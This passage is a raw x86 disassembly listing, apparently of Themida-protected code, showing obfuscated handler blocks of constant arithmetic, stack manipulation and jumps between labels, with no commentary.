add ebx, 0E86BCA98h
push ebx
xchg eax, [esp+0]
not eax
jmp loc_58ED61
; ---------------------------------------------------------------------------
loc_5876A2: ; CODE XREF: sub_584787+8573j
or edx, 4AEC545Fh
sub edx, 89BFE7D1h
xor edi, edx
pop edx
shr edi, 2
add edi, 1C66391Ch
add edi, 0C649AF3Dh
add ebx, edi
jmp loc_58C220
; ---------------------------------------------------------------------------
loc_5876C7: ; CODE XREF: sub_584787+236Bj
sub ebx, 71A668DCh
jmp loc_58C7A9
; ---------------------------------------------------------------------------
loc_5876D2: ; DATA XREF: Themida_:00584338o
mov cx, word ptr [esp-4+arg_0]
sub esp, 4
mov [esp+0], edi
push 1196h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_58A3FE
; ---------------------------------------------------------------------------
loc_5876F3: ; CODE XREF: sub_584787+5301j
mov esi, 583541C1h
sub esi, 40920CD8h
or esi, 5277846h
add esi, 87340CDh
shr esi, 8
shr esi, 7
and esi, 42987D32h
sub esi, 0EC5DFE12h
mov edx, esi
pop esi
dec edx
or edx, 559E38EDh
shl edx, 2
xor edx, 2AC6322Fh
jmp loc_58AA6A
; ---------------------------------------------------------------------------
loc_587734: ; CODE XREF: sub_584787+8E23j
pop ebx
neg dl
jmp loc_58DC27
; ---------------------------------------------------------------------------
loc_58773C: ; CODE XREF: sub_584787+A545j
push 5FF5h
mov [esp+0], ecx
push ebp
mov ebp, 661D37C4h
push ecx
mov ecx, 5DAF53F6h
sub ebp, ecx
pop ecx
sub ebp, 20D80893h
push esi
mov esi, 47FB76DDh
or ebp, esi
pop esi
dec ebp
add ebp, 91386FC4h
and ebp, 2E184C89h
sub ebp, 13693946h
jmp loc_58FB4E
; ---------------------------------------------------------------------------
loc_58777A: ; CODE XREF: sub_584787+3C78j
pop esi
jmp loc_58B610
; ---------------------------------------------------------------------------
loc_587780: ; CODE XREF: sub_584787+9A7j
xor [esp+30h+var_30], esi
xor esi, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
push 738h
mov [esp+34h+var_34], ecx
mov cl, dl
push 5D54h
mov [esp+38h+var_38], edx
jmp sub_58F6F1
; ---------------------------------------------------------------------------
loc_5877A0: ; CODE XREF: sub_584787+928Aj
push ebx
push edx
mov dl, 26h
jmp loc_58D785
; ---------------------------------------------------------------------------
loc_5877A9: ; DATA XREF: Themida_:00584204o
mov cx, word ptr [esp+40h+var_42+2]
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 11525DC9h
add esi, 2DE72366h
add esi, 0E5B1AFFh
push edi
jmp loc_58C4DD
; ---------------------------------------------------------------------------
loc_5877CE: ; CODE XREF: sub_584787+8826j
xor [esp+4Ch+var_4E+2], ebx
xor ebx, [esp+4Ch+var_4E+2]
mov esp, [esp+4Ch+var_4E+2]
mov [esp+4Ch+var_4E+2], ebx
jmp loc_587EB0
; ---------------------------------------------------------------------------
loc_5877DF: ; CODE XREF: sub_584787+11C4j
add ebx, 4
jmp loc_587828
; ---------------------------------------------------------------------------
loc_5877EA: ; CODE XREF: sub_584787+4207j
add ebp, 6D63AF7h
sub ebp, 50F227A8h
xor ebp, 0D64EB7BDh
and edi, ebp
pop ebp
jmp loc_5871E1
; ---------------------------------------------------------------------------
loc_587804: ; CODE XREF: sub_584787+3BAEj
mov [esp-0Ch+arg_8], edx
mov dl, 0F9h
push ebx
jmp loc_587FFB
; ---------------------------------------------------------------------------
loc_58780F: ; CODE XREF: sub_584787+9D24j
mov ecx, [esp-8+arg_4]
push ebp
jmp loc_58E502
; ---------------------------------------------------------------------------
loc_587818: ; CODE XREF: sub_584787+7932j
mov ecx, 3E1E53F8h
add ecx, 0C1E1A807h
jmp loc_58E984
; ---------------------------------------------------------------------------
loc_587828: ; CODE XREF: sub_584787+305Ej
add ebx, 4
jmp loc_589A38
; ---------------------------------------------------------------------------
loc_587833: ; CODE XREF: sub_584787+913j
mov ebp, 4
sub ecx, 4D976524h
add ecx, ebp
add ecx, 4D976524h
jmp loc_588D23
; ---------------------------------------------------------------------------
loc_58784B: ; CODE XREF: sub_584787+7692j
push ecx
push 7EA8h
mov [esp+38h+var_38], ebp
mov ebp, 0E480497h
push ebx
mov ebx, 45744F4Ah
add ebp, ebx
pop ebx
xor ebp, 5B210405h
jmp loc_589CD1
; ---------------------------------------------------------------------------
loc_58786D: ; CODE XREF: sub_584787+71B0j
add edi, eax
pop eax
xchg edi, [esp+34h+var_34]
jmp loc_58EED2
; ---------------------------------------------------------------------------
loc_587878: ; CODE XREF: sub_584787+3C53j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+38h+var_38]
jmp loc_58E6CA
; ---------------------------------------------------------------------------
loc_58788C: ; CODE XREF: sub_584787+87B5j
add esi, 4
push eax
push esi
mov esi, 0B4C2D3Eh
jmp loc_58F8C7
; ---------------------------------------------------------------------------
loc_58789E: ; DATA XREF: Themida_:005842D8o
mov cx, word ptr [esp+40h+var_42+2]
push 14E0h
mov [esp+44h+var_46+2], edi
sub esp, 4
push esp
pop [esp+4Ch+var_4E+2]
add dword ptr [esp+0], 4
mov edi, [esp+0]
jmp loc_58A7B0
; ---------------------------------------------------------------------------
loc_5878C0: ; CODE XREF: sub_584787+77F6j
add eax, 30BE5F25h
add eax, edi
sub esp, 4
mov [esp+4Ch+var_4E+2], edx
mov edx, 30BE5F25h
sub eax, edx
pop edx
push dword ptr [eax]
pop ecx
mov eax, [esp+0]
push edi
push esp
pop edi
add edi, 4
jmp loc_585B8F
; ---------------------------------------------------------------------------
loc_5878EC: ; CODE XREF: sub_584787+9D47j
sub bl, 4Eh
jmp loc_58C215
; ---------------------------------------------------------------------------
loc_5878F4: ; CODE XREF: sub_584787+46BDj
sub eax, 4D444BCEh
pop edi
jmp loc_586540
; ---------------------------------------------------------------------------
loc_5878FF: ; CODE XREF: sub_584787+852Ej
mov ecx, 21B27447h
shl ecx, 1
inc ecx
inc ecx
jmp loc_58BD12
; ---------------------------------------------------------------------------
loc_58790D: ; CODE XREF: sub_584787+5AF7j
add dword ptr [esp+0], 2C861353h
jmp loc_589F8F
; ---------------------------------------------------------------------------
loc_587919: ; CODE XREF: sub_584787+96E0j
not ebx
and ebx, 5CDE4679h
push ebp
mov ebp, 1879508Fh
xor ebx, ebp
pop ebp
xor esi, ebx
pop ebx
xor esi, 30F54F8Dh
or edi, esi
pop esi
xor edi, 0D3B05013h
mov eax, edi
pop edi
sub eax, 1
xor eax, 63E01292h
jmp loc_588E49
; ---------------------------------------------------------------------------
loc_58794E: ; DATA XREF: Themida_:00584418o
mov eax, [esp+3Ch+var_3C]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58BDB8
; ---------------------------------------------------------------------------
loc_58795F: ; CODE XREF: sub_584787+AA53j
mov ebx, 1782235Dh
or ebx, 3D52691Ch
sub ebx, 251327C7h
add ebx, 0FFFFFFFFh
not ebx
add ebx, 7D0F9990h
add eax, ebx
mov ebx, [esp+40h+var_42+2]
add esp, 4
push edx
push 77A3h
mov [esp+44h+var_46+2], eax
mov eax, 5124021Ch
jmp loc_58DDF5
; ---------------------------------------------------------------------------
loc_587996: ; CODE XREF: sub_584787+BCA0j
push 9A0h
mov [esp+0], edi
mov edi, 2473329Eh
sub edx, edi
pop edi
add edx, ebp
add edx, 2473329Eh
pop ebp
mov ecx, [edx]
pop edx
pop ebx
sub esp, 4
mov [esp+3Ch+var_3C], ebp
push 5D9h
mov [esp+40h+var_42+2], edi
xor [esp+40h+var_42+2], 6F4A026Bh
jmp loc_58C4FA
; ---------------------------------------------------------------------------
loc_5879D0: ; CODE XREF: sub_584787+1A9Dj
not eax
not eax
xor eax, 44C0CB44h
add esi, eax
pop eax
pop ebx
pop edx
jmp loc_589C56
; ---------------------------------------------------------------------------
loc_5879E3: ; CODE XREF: sub_584787+1E19j
mov edx, [esp+0]
push esi
mov esi, esp
jmp loc_5898D2
; ---------------------------------------------------------------------------
loc_5879EE: ; CODE XREF: sub_584787+3DC9j
add eax, ebx
pop ebx
add eax, 4
jmp loc_588F46
; ---------------------------------------------------------------------------
loc_5879FB: ; CODE XREF: sub_584787+8957j
not dword ptr [esp+0]
pop edi
xor edi, 4EF94097h
not edi
jmp loc_58897F
; ---------------------------------------------------------------------------
loc_587A0C: ; CODE XREF: sub_584787+184Bj
add esp, 4
push 63F6h
jmp loc_589D79
; ---------------------------------------------------------------------------
loc_587A1C: ; CODE XREF: sub_584787+BD66j
pop edx
and ch, bh
pop bx
push edx
push ebx
jmp loc_5855F5
; ---------------------------------------------------------------------------
loc_587A28: ; CODE XREF: sub_584787+560Fj
sub esi, ebp
mov ebp, [esp-0Eh+arg_8+2]
jmp loc_58F34E
; ---------------------------------------------------------------------------
loc_587A32: ; CODE XREF: sub_584787+7ACBj
mov eax, esp
add eax, 4
jmp loc_58BEDB
; ---------------------------------------------------------------------------
loc_587A3E: ; CODE XREF: sub_584787+A298j
pop esp
sub dh, 93h
xor dh, ah
xor ah, dh
xor dh, ah
sub ah, 1
xchg ah, dh
add dh, 41h
xor al, dh
jmp loc_58D114
; ---------------------------------------------------------------------------
loc_587A57: ; DATA XREF: Themida_:00584250o
mov cx, word ptr [esp-12h+arg_E]
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 39245B35h
dec esi
sub esi, 56506044h
shr esi, 8
push ebp
mov ebp, 1
jmp loc_58B7E1
; ---------------------------------------------------------------------------
loc_587A7F: ; CODE XREF: sub_584787+4FB8j
add ecx, 4
xchg ecx, [esp-6+arg_0+2]
pop esp
jmp loc_586E89
; ---------------------------------------------------------------------------
loc_587A8E: ; CODE XREF: sub_584787+8Cj
push ecx
mov ecx, 3C4924AEh
mov edx, 8798A3E2h
sub edx, ecx
pop ecx
sub eax, edx
pop edx
add eax, 3A6D5A0Fh
push 43D0h
mov [esp+14h+var_14], ecx
mov ecx, 24E2506Ah
sub esp, 4
mov [esp+18h+var_18], ebx
push ebp
mov ebp, 45C63B3Eh
dec ebp
dec ebp
shl ebp, 4
push ebp
not [esp+20h+var_20]
jmp loc_587E9E
; ---------------------------------------------------------------------------
loc_587ACE: ; CODE XREF: sub_584787+395Dj
mov edx, 1A1768h
push eax
mov eax, 5E94827h
sub edx, 5127284Fh
sub edx, eax
add edx, 5127284Fh
pop eax
shr edx, 4
dec edx
xor edx, 68900BBBh
add edx, 0F96472Ch
jmp loc_586A04
; ---------------------------------------------------------------------------
loc_587AFD: ; CODE XREF: sub_584787+B142j
pop esi
not eax
xor eax, 3C0E2508h
or eax, 4A39061Bh
jmp loc_58D145
; ---------------------------------------------------------------------------
loc_587B0F: ; CODE XREF: sub_584787+5CEDj
mov ebp, 85D6F14h
jmp loc_58B661
; ---------------------------------------------------------------------------
loc_587B19: ; CODE XREF: sub_584787+4FECj
push ecx
jmp loc_58962F
; ---------------------------------------------------------------------------
loc_587B1F: ; CODE XREF: sub_584787+3911j
sub esp, 4
jmp loc_585D84
; ---------------------------------------------------------------------------
loc_587B27: ; CODE XREF: sub_584787+3BCj
pop eax
push edi
push ebp
mov ebp, 4501701h
not ebp
push ebx
mov ebx, 555D00F6h
or ebp, ebx
pop ebx
jmp loc_58C8AE
; ---------------------------------------------------------------------------
loc_587B3F: ; CODE XREF: sub_584787+BE87j
add ebp, 6C2961DCh
pop edx
jmp sub_5906EA
; ---------------------------------------------------------------------------
loc_587B4B: ; CODE XREF: sub_584787+880Ej
shr edx, 3
push esi
mov esi, 7E88586Ah
add esi, 6F7805DAh
xor esi, 98C15C87h
jmp loc_5905EC
; ---------------------------------------------------------------------------
loc_587B65: ; CODE XREF: sub_584787+3BDCj
push eax
jmp loc_58BF0B
; ---------------------------------------------------------------------------
loc_587B6B: ; CODE XREF: sub_584787+9A61j
push ebx
mov bh, 97h
add bh, 0ADh
jmp loc_58E257
; ---------------------------------------------------------------------------
loc_587B76: ; CODE XREF: sub_584787+277j
mov esi, 4
add [esp+22h+var_20+2], esi
pop esi
pop edx
add edx, 4
jmp loc_58B74F
; ---------------------------------------------------------------------------
loc_587B8C: ; DATA XREF: Themida_:00584428o
mov cx, word ptr [esp+1Ah+var_1C+2]
jmp loc_58A051
; ---------------------------------------------------------------------------
loc_587B95: ; CODE XREF: sub_584787+483Aj
mov [esp+1Ah+var_1C+2], eax
push esp
mov eax, [esp+1Eh+var_20+2]
add esp, 4
jmp loc_587C42
; ---------------------------------------------------------------------------
loc_587BA4: ; CODE XREF: sub_584787+5DF0j
pop cx
inc dh
dec dh
jmp loc_587459
; ---------------------------------------------------------------------------
loc_587BAF: ; CODE XREF: sub_584787+459Ej
mov ebx, 4
jmp loc_584E1B
; ---------------------------------------------------------------------------
loc_587BB9: ; CODE XREF: sub_584787+C3Aj
mov ebp, 722461F7h
mov ebx, 766C7D7Eh
xor ebx, ebp
pop ebp
not ebx
xor ebx, 7B76601Eh
add ebx, 8A110828h
sub edx, 488A74C7h
add edx, ebx
add edx, 488A74C7h
jmp loc_58895C
; ---------------------------------------------------------------------------
loc_587BE7: ; CODE XREF: sub_584787+9F24j
pop edx
push esi
jmp loc_58D402
; ---------------------------------------------------------------------------
loc_587BEE: ; CODE XREF: sub_584787+3ABAj
pop ebp
add esp, 4
sub [edi+24h], ecx
pop ecx
loc_587BF9: ; CODE XREF: sub_584787+11ACj
push 3B23h
jmp loc_58AA12
; ---------------------------------------------------------------------------
loc_587C03: ; CODE XREF: sub_584787+B114j
xor ecx, 1A4BADC6h
add eax, ecx
pop ecx
pop ecx
push 2BFBh
mov [esp+4+var_4], edi
mov edi, 55A01CC5h
push edx
jmp loc_585A54
; ---------------------------------------------------------------------------
loc_587C20: ; CODE XREF: sub_584787+280Dj
and ebx, eax
pop eax
not ebx
shr ebx, 4
xor ebx, 0EF77AF8h
push ebx
push ecx
mov ecx, 77194729h
jmp loc_5895F5
; ---------------------------------------------------------------------------
loc_587C3A: ; CODE XREF: sub_584787+921Bj
shl ch, 7
jmp loc_5882CA
; ---------------------------------------------------------------------------
loc_587C42: ; CODE XREF: sub_584787+3418j
add eax, 4
sub eax, 4
xchg eax, [esp+1Ah+var_1C+2]
pop esp
jmp loc_586610
; ---------------------------------------------------------------------------
loc_587C55: ; CODE XREF: sub_584787+652j
mov ch, 2Dh
jmp loc_58D9A0
; ---------------------------------------------------------------------------
loc_587C5C: ; CODE XREF: sub_584787+152Fj
not ebx
shr ebx, 3
push eax
jmp loc_586F8F
; ---------------------------------------------------------------------------
loc_587C67: ; CODE XREF: sub_584787+734j
push [esp+3Ch+var_3C]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_585731
; ---------------------------------------------------------------------------
loc_587C79: ; CODE XREF: sub_584787+70A5j
mov esp, [esp+40h+var_42+2]
jmp loc_58A439
; ---------------------------------------------------------------------------
loc_587C81: ; CODE XREF: sub_584787+925Ej
sub cl, 98h
add bl, cl
pop ecx
add bl, 58h
add bl, ah
sub bl, 58h
sub bl, 0A8h
push [esp+3Ch+var_3C]
pop eax
jmp loc_58EE6A
; ---------------------------------------------------------------------------
loc_587C9B: ; CODE XREF: sub_584787+28D9j
mov edx, [esp-4+arg_0]
add esp, 4
sub esp, 4
mov [esp-4+arg_0], edi
push ecx
push 165F1FD0h
pop ecx
neg ecx
shr ecx, 1
sub ecx, 2FA138B4h
add ecx, 292022FEh
mov edi, ecx
jmp loc_588085
; ---------------------------------------------------------------------------
loc_587CC8: ; CODE XREF: sub_584787+B54j
push [esp+4Ah+var_46]
pop ecx
pop dword ptr [esp+0]
pop esp
jmp loc_5905A8
; ---------------------------------------------------------------------------
loc_587CD6: ; CODE XREF: sub_584787+8A97j
add ebp, ebx
jmp loc_58D2A8
; ---------------------------------------------------------------------------
loc_587CDD: ; CODE XREF: sub_584787+ADE1j
pop bp
push eax
mov eax, esp
add eax, 4
jmp loc_584717
; ---------------------------------------------------------------------------
loc_587CEC: ; CODE XREF: sub_584787+2EDCj
mov [esp+0], esi
push ebp
push edi
mov edi, esp
add edi, 4
jmp loc_58FF7F
; ---------------------------------------------------------------------------
loc_587CFE: ; CODE XREF: sub_584787+40A2j
mov ebx, 4
push ebp
mov ebp, 408826BCh
add edx, ebp
pop ebp
sub edx, 79042320h
sub edx, ebx
add edx, 79042320h
jmp loc_58BC08
; ---------------------------------------------------------------------------
loc_587D1F: ; CODE XREF: sub_584787+631j
push edx
jmp loc_585D25
; ---------------------------------------------------------------------------
loc_587D25: ; CODE XREF: sub_584787+A040j
mov ecx, 65065045h
sub ecx, 2FF93922h
or ecx, 4BEC66DAh
or ecx, 48D1763Bh
add ecx, 0F435A6D4h
add [esp+10h+var_C], 48C12319h
sub [esp+10h+var_C], ecx
jmp loc_58E3CA
; ---------------------------------------------------------------------------
loc_587D53: ; CODE XREF: sub_584787+8BC2j
pop edx
sub al, 0ADh
add al, ch
add al, 0ADh
jmp loc_584FF7
; ---------------------------------------------------------------------------
loc_587D5F: ; DATA XREF: Themida_:00584298o
mov cx, word ptr [esp+0Ch+var_C]
sub esp, 4
jmp loc_58ADCC
; ---------------------------------------------------------------------------
loc_587D6E: ; CODE XREF: sub_584787+1EB2j
xor esi, 46C10A4Ah
xor esi, 13710DA4h
sub esi, 48134A39h
not esi
shl esi, 4
xor esi, 45724ED1h
add eax, esi
pop esi
add eax, esi
sub eax, 33724341h
mov esi, [esp+58h+var_58]
jmp loc_5847EE
; ---------------------------------------------------------------------------
loc_587D9D: ; CODE XREF: sub_584787+C30j
shl ebx, 4
sub ebx, 0F8E2465Eh
mov edi, ebx
pop ebx
jmp loc_58C243
; ---------------------------------------------------------------------------
loc_587DAE: ; CODE XREF: sub_584787+2D70j
pop ebx
jmp loc_585899
; ---------------------------------------------------------------------------
loc_587DB4: ; CODE XREF: sub_584787+80EAj
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+40h+var_42+2]
pop esp
mov [esp+3Ch+var_3C], eax
push 50441F6Eh
pop eax
add eax, 0AFBBE093h
push eax
push esi
mov esi, 1DE83071h
add [esp+44h+var_42+2], esi
pop esi
pop edx
sub edx, 1DE83071h
mov eax, [esp+3Ch+var_3C]
add esp, 4
and eax, edx
push [esp+38h+var_38]
mov edx, [esp+3Ch+var_3C]
add esp, 4
push ecx
jmp loc_5884DC
; ---------------------------------------------------------------------------
loc_587E02: ; CODE XREF: sub_584787+109Cj
push ebp
jmp loc_58A503
; ---------------------------------------------------------------------------
loc_587E08: ; CODE XREF: sub_584787+B1B1j
push 0
sub [esp+24h+var_26+2], esi
jmp loc_58A2BB
; ---------------------------------------------------------------------------
loc_587E15: ; CODE XREF: sub_584787+6E2Cj
mov [esp+24h+var_26+2], ecx
push ebp
push 27EB2EA7h
jmp loc_5844E2
; ---------------------------------------------------------------------------
loc_587E23: ; CODE XREF: sub_584787+9B15j
add [esp+4], esi
pop esi
pop ebp
sub esp, 4
mov [esp+0], eax
mov eax, 4
add ebp, 11E02A7Dh
add ebp, eax
sub ebp, 11E02A7Dh
pop eax
jmp loc_58D11E
; ---------------------------------------------------------------------------
loc_587E48: ; CODE XREF: sub_584787+A59j
pop esp
rol word ptr [esp+42h+var_42], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_587E53: ; CODE XREF: sub_584787+3BC1j
pop ecx
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp+0]
pop esp
sub edx, 92A3E89h
add edx, eax
add edx, 92A3E89h
add edx, 4C3C49E1h
jmp loc_584473
; ---------------------------------------------------------------------------
loc_587E7A: ; CODE XREF: sub_584787+67F5j
push 7FF1h
mov [esp+0], ecx
push 23FB6300h
jmp loc_58CA08
; ---------------------------------------------------------------------------
loc_587E8C: ; CODE XREF: sub_584787+BD0j
mov [esp+52h+var_54+2], ebp
mov ebp, 8C694Bh
sub [esp+52h+var_4E], ebp
pop ebp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_587E9E: ; CODE XREF: sub_584787+3342j
pop ebp
shr ebp, 6
add ebp, 0FD718ED0h
mov ebx, ebp
pop ebp
jmp loc_585C1F
; ---------------------------------------------------------------------------
loc_587EB0: ; CODE XREF: sub_584787+3053j
mov bh, 0FDh
jmp loc_589094
; ---------------------------------------------------------------------------
loc_587EB7: ; CODE XREF: sub_584787+899Bj
push dword ptr [esp+4]
jmp loc_587ECB
; ---------------------------------------------------------------------------
loc_587EC0: ; CODE XREF: sub_584787+291Cj
push eax
mov eax, 8122AB04h
jmp loc_584D88
; ---------------------------------------------------------------------------
loc_587ECB: ; CODE XREF: sub_584787+3734j
mov ebp, [esp+0]
add esp, 4
jmp loc_58E27B
; ---------------------------------------------------------------------------
loc_587ED9: ; CODE XREF: sub_584787+4D36j
add ebp, esi
pop esi
xchg ebp, [esp+0]
pop esp
mov ax, word ptr [esp+44h+var_46+2]
push 1DD2h
mov [esp+0], esi
push 2991h
mov [esp+4Ch+var_4E+2], esp
add [esp+4Ch+var_4E+2], 4
jmp loc_586B1D
; ---------------------------------------------------------------------------
loc_587F00: ; CODE XREF: sub_584787+6FC3j
mov [esp+4Ch+var_4E+2], esi
push eax
mov eax, 22156FF7h
xor eax, 22156FF5h
jmp loc_58CDCC
; ---------------------------------------------------------------------------
loc_587F13: ; CODE XREF: sub_584787+94ACj
pop eax
shl cl, 4
jmp loc_588A51
; ---------------------------------------------------------------------------
loc_587F1C: ; CODE XREF: sub_584787+45DEj
push 6C29h
mov [esp+0], eax
sub esp, 4
jmp loc_58A6F9
; ---------------------------------------------------------------------------
loc_587F2F: ; CODE XREF: sub_5900B2-B93j
push [esp+54h+var_54]
pop ecx
add esp, 4
sub esp, 4
mov [esp+54h+var_54], edi
mov edi, 55443B84h
or edi, 3D110D91h
shr edi, 2
add edi, 0E0AAB01Dh
sub esi, edi
pop edi
jmp loc_58D58D
; ---------------------------------------------------------------------------
loc_587F58: ; CODE XREF: sub_584787+27ABj
xchg ecx, ebp
add ebp, 805B6801h
sub edi, ebp
mov ebp, [esp+1Ch+var_1C]
add esp, 4
xor edi, 5FA03077h
push esi
mov esi, 18605BCEh
or edi, esi
mov esi, [esp+1Ch+var_1C]
add esp, 4
sub edi, 0BD745BCAh
add ebx, edi
pop edi
add ebx, 4
push 1886h
mov [esp+18h+var_18], ebx
push [esp+18h+var_14]
pop ebx
pop [esp+18h+var_18]
pop esp
mov eax, [esp+10h+var_10]
sub esp, 4
mov [esp+14h+var_14], edi
mov edi, esp
add edi, 4
jmp loc_585DB5
; ---------------------------------------------------------------------------
loc_587FB2: ; CODE XREF: sub_584787+4C54j
add eax, edx
add eax, 14521D8Eh
push 828h
mov [esp+18h+var_18], ebp
mov ebp, 512D1F80h
shl ebp, 7
xor ebp, 5D1873D6h
shl ebp, 3
add ebp, 0F118C676h
sub eax, ebp
pop ebp
pop edx
push ecx
mov ecx, 482A74FCh
shl ecx, 8
sub ecx, 0D502920h
sub esp, 4
mov [esp+18h+var_18], edx
mov edx, 0
jmp loc_58ED8A
; ---------------------------------------------------------------------------
loc_587FFB: ; CODE XREF: sub_584787+3083j
mov bl, 5Eh
add al, 83h
push 7447h
mov [esp-4+arg_0], ebx
mov bl, 18h
not bl
xor bl, 1Bh
sub bl, 4Ah
xor bl, 0E2h
jmp loc_584DCE
; ---------------------------------------------------------------------------
loc_588019: ; CODE XREF: sub_584787+42FCj
sub al, bl
sub al, 0D4h
jmp loc_58A0F5
; ---------------------------------------------------------------------------
loc_588022: ; CODE XREF: sub_584787+BB55j
add esp, 4
add eax, 4
add eax, 4
jmp loc_58506C
; ---------------------------------------------------------------------------
loc_588037: ; CODE XREF: sub_584787+506Fj
push esi
mov esi, esp
push edi
mov edi, 4
add esi, edi
mov edi, [esp+0]
jmp loc_58CE29
; ---------------------------------------------------------------------------
loc_58804A: ; CODE XREF: sub_584787+AD5Bj
pop esp
push ebx
mov ebx, 50490557h
and edi, ebx
pop ebx
xor edi, 7E8C6572h
sub ebx, edi
pop edi
sub ebx, eax
add ebx, 6E8C6162h
pop dword ptr [eax]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58806C: ; CODE XREF: sub_584787+2BE1j
xchg ecx, [esp+0]
mov esp, [esp+0]
btr [esp+0], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58807D: ; CODE XREF: sub_584787+8010j
add esp, 4
jmp loc_58B829
; ---------------------------------------------------------------------------
loc_588085: ; CODE XREF: sub_584787+353Cj
pop ecx
push edx
mov edx, 86A4245h
inc edx
jmp loc_584F59
; ---------------------------------------------------------------------------
loc_588092: ; CODE XREF: sub_584787+896Fj
xor ebx, ebp
pop ebp
add eax, ebx
pop ebx
jmp loc_587B1F
; ---------------------------------------------------------------------------
loc_58809D: ; CODE XREF: sub_584787+AA40j
xor edi, 62E4518Ah
sub esp, 4
mov [esp-4+arg_0], ebx
mov ebx, 3E396A68h
sub ebx, 39F139C3h
shr ebx, 7
jmp loc_58E666
; ---------------------------------------------------------------------------
loc_5880BF: ; CODE XREF: sub_584787+2455j
shl ebp, 6
jmp loc_58EC6C
; ---------------------------------------------------------------------------
loc_5880C7: ; CODE XREF: sub_584787+39A1j
pop ebx
xor eax, [esp+18h+var_18]
xor [esp+18h+var_18], eax
xor eax, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
shr [esp+18h+var_18], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5880DD: ; CODE XREF: sub_584787+5533j
sub ebp, 0FDB7CC43h
push edx
jmp loc_587ACE
; ---------------------------------------------------------------------------
loc_5880E9: ; CODE XREF: sub_584787+1BF4j
add edx, 0F0548C7h
add edx, esi
sub edx, 0F0548C7h
pop esi
add edx, 4
xchg edx, [esp+3Ch+var_3C]
pop esp
pop [esp+38h+var_38]
mov eax, [esp+34h+var_34]
add esp, 4
push 61D7h
mov [esp+34h+var_34], ebx
push ecx
push ebp
mov ebp, 19D562C0h
mov ecx, 547A6650h
xor ecx, ebp
jmp loc_585E69
; ---------------------------------------------------------------------------
loc_588123: ; CODE XREF: sub_584787+948Aj
sub eax, 63321A6Ah
jmp loc_5880C7
; ---------------------------------------------------------------------------
loc_58812D: ; CODE XREF: sub_584787+6A9Bj
pop ebx
jmp loc_58B5B8
; ---------------------------------------------------------------------------
loc_588133: ; CODE XREF: sub_584787+46CFj
add ecx, 3E8D0C76h
pop eax
add ecx, 4
xchg ecx, [esp+34h+var_34]
mov esp, [esp+34h+var_34]
idiv ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_586DBE
; ---------------------------------------------------------------------------
loc_588159: ; DATA XREF: Themida_:005843D4o
mov ax, word ptr [esp+38h+var_38]
push 3298h
mov [esp+3Ch+var_3C], esi
push esp
pop esi
add esi, 4
push ecx
jmp loc_590249
; ---------------------------------------------------------------------------
loc_588173: ; CODE XREF: sub_584787+9B8Ej
push ebx
push 3C35h
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_58A51B
; ---------------------------------------------------------------------------
loc_588185: ; CODE XREF: sub_584787+A3E7j
push edx
mov edx, 191E7479h
mov edi, 3B208B34h
sub edi, edx
pop edx
xor edi, 6E696AF3h
sub edi, 0F683618Ah
mov ebx, edi
pop edi
xor ebx, 26C75D4Eh
jmp loc_5851FD
; ---------------------------------------------------------------------------
loc_5881AD: ; CODE XREF: sub_584787+5BF0j
sub edx, 4
xchg edx, [esp+44h+var_46+2]
jmp loc_58D36A
; ---------------------------------------------------------------------------
loc_5881BB: ; CODE XREF: sub_584787-2E9j
mov ecx, ebx
push dword ptr [esp+0]
pop ebx
add esp, 4
jmp loc_5886BE
; ---------------------------------------------------------------------------
loc_5881C9: ; CODE XREF: sub_584787+9F55j
sub al, cl
mov ecx, [esp-4+arg_0]
add esp, 4
mov cl, al
pop eax
sub cl, ah
pop eax
and al, cl
pop cx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp-0Eh+arg_8+2]
pop esp
mov [esp-12h+arg_E], edx
jmp loc_588819
; ---------------------------------------------------------------------------
loc_5881F9: ; CODE XREF: sub_584787+16BDj
mov esi, 0DDA9F764h
sub eax, esi
pop esi
jmp loc_58ED83
; ---------------------------------------------------------------------------
loc_588206: ; CODE XREF: sub_584787+3DDCj
add ch, 0EDh
pop eax
shr ch, 3
sub ch, 3Fh
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_58B157
; ---------------------------------------------------------------------------
loc_588221: ; CODE XREF: sub_584787+4EF0j
add bh, 9Ah
add al, 0A8h
sub al, bh
jmp loc_58A496
; ---------------------------------------------------------------------------
loc_58822D: ; CODE XREF: sub_584787+B9Bj
add edi, 4
xor edi, [esp+52h+var_54+2]
xor [esp+52h+var_54+2], edi
xor edi, [esp+52h+var_54+2]
mov esp, [esp+52h+var_54+2]
xor ecx, ebp
push [esp+52h+var_54+2]
jmp loc_587BEE
; ---------------------------------------------------------------------------
loc_588246: ; CODE XREF: sub_584787+8423j
sub ax, bx
mov bx, word ptr [esp+56h+var_58+2]
push eax
mov eax, esp
add eax, 4
jmp loc_58DC58
; ---------------------------------------------------------------------------
loc_58825A: ; CODE XREF: sub_584787+75F9j
or edx, 45C6FC6h
push eax
jmp loc_58F8AB
; ---------------------------------------------------------------------------
loc_588266: ; DATA XREF: Themida_:005843CCo
lodsd
push 2C64h
mov [esp+0], edx
mov edx, 2F7E68BBh
jmp loc_58C4F1
; ---------------------------------------------------------------------------
loc_588279: ; CODE XREF: sub_584787+172Ej
add esp, 4
pop ecx
loc_588280: ; CODE XREF: sub_584787+22FCj
sub esp, 4
jmp loc_585091
; ---------------------------------------------------------------------------
loc_58828B: ; CODE XREF: sub_584787+9905j
mov ebx, [esp-0Ch+arg_8]
add esp, 4
sub [esp-10h+arg_E+2], eax
pop eax
sub [esp-14h+arg_E+2], eax
push 3BDFh
mov [esp+0], eax
mov eax, 7BAB52F7h
